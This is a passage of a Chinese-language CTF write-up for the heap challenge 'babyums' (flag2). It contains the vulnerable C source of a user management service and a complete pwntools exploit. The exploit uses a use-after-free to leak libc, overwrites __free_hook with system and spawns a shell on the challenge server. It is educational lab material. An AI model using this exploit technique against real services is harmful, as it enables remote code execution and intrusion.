void add_user()
{
short int idx;
idx = get_idx();
users[idx] = malloc(sizeof(*users[idx]));
printf("username\n> ");
read(0, users[idx]->name, 0x10);
printf("password\n> ");
read(0, users[idx]->password, 0x10);
users[idx]->data = NULL;
printf("success!\n");
}
void edit_data()
{
short int idx;
short int size;
idx = get_idx();
size = get_size();
if (users[idx]->data == NULL)
users[idx]->data = malloc(size);
read(0, users[idx]->data, size);
printf("success!\n");
}
void del_user()
{
short int idx;
idx = get_idx();
free(users[idx]->data);
free(users[idx]);
printf("success!\n");
}
void show_users()
{
for (int i = 0; i < 8; i++) {
if (users[i] == NULL || users[i]->data == NULL)
continue;
printf("[%d] %s\ndata: %s\n", i, users[i]->name, (char *)users[i]->data);
}
}
void add_admin()
{
users[0] = malloc(sizeof(*users[0]));
strcpy(users[0]->name, "admin");
strcpy(users[0]->password, FLAG1);
users[0]->data = NULL;
}
int main()
{
char opt[2];
int power = 20;
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
printf("**** User Management System ****\n");
add_admin();
while (power)
{
power--;
printf("1. add_user\n"
"2. edit_data\n"
"3. del_user\n"
"4. show_users\n"
"5. bye\n"
"> ");
read(0, opt, 2);
switch (opt[0]) {
case '1': add_user(); break;
case '2': edit_data(); break;
case '3': del_user(); break;
case '4': show_users(); break;
case '5': exit(0);
}
}
printf("No... no power..., b..ye...\n");
return 0;
}
```
* 解題過程 & 執行結果圖
根據 babyums(flag1) 得到的 shell 進去查看
`/home/chal/babyums.c`

可以看到 FLAG,只是 "FLAG" 大小寫好像有點問題?
後來跟隊友討論才發現好像是小寫

* 解題程式碼(同 babyums(flag1))
```python=
# nc edu-ctf.zoolab.org 10008
# P.S. flag1 is the password of admin
import pwn
import time
def add_user(index, name, passw):
r.sendlineafter(b'> ', b'1')
r.sendlineafter(b'index\n> ', str(index))
r.sendlineafter(b'username\n> ', str(name))
r.sendlineafter(b'password\n> ', passw)
time.sleep(1)
def edit_data(index, size, data):
r.sendlineafter(b'> ', b'2')
r.sendlineafter(b'index\n> ', str(index))
r.sendlineafter(b'size\n> ', str(size))
time.sleep(1)
r.send(data)
def del_user(index):
r.sendlineafter(b'> ', b'3')
r.sendlineafter(b'index\n> ', str(index))
time.sleep(1)
def show_users():
r.sendlineafter(b'> ', b'4')
pwn.context.arch = 'amd64'
pwn.context.terminal = ['tmux', 'splitw', '-h']
r = pwn.remote('edu-ctf.zoolab.org', 10008)
add_user(0, 'A'*0x8, 'A'*0x8)
edit_data(0, int('0x418', 16), 'A')
add_user(1, 'B'*0x8, 'B'*0x8)
edit_data(1, int('0x18', 16), 'B')
add_user(2, 'C'*0x8, 'C'*0x8)
del_user(0)
show_users()
r.recvuntil('data: ')
libc = pwn.u64(r.recv(6).ljust(8, b'\x00')) - 0x1ecbe0 # ?
system = libc + 0x52290
free_hook = libc + 0x1eee48
fake_chunk = pwn.flat(
0, 0x31,
b'CCCCCCCC', b'CCCCCCCC',
b'CCCCCCCC', b'CCCCCCCC',
free_hook
)
data = b'/bin/sh\x00'.ljust(0x10, b'B')
edit_data(1, int('0x48', 16), data+fake_chunk)
edit_data(2, 8, pwn.p64(system))
del_user(1)
r.interactive()
```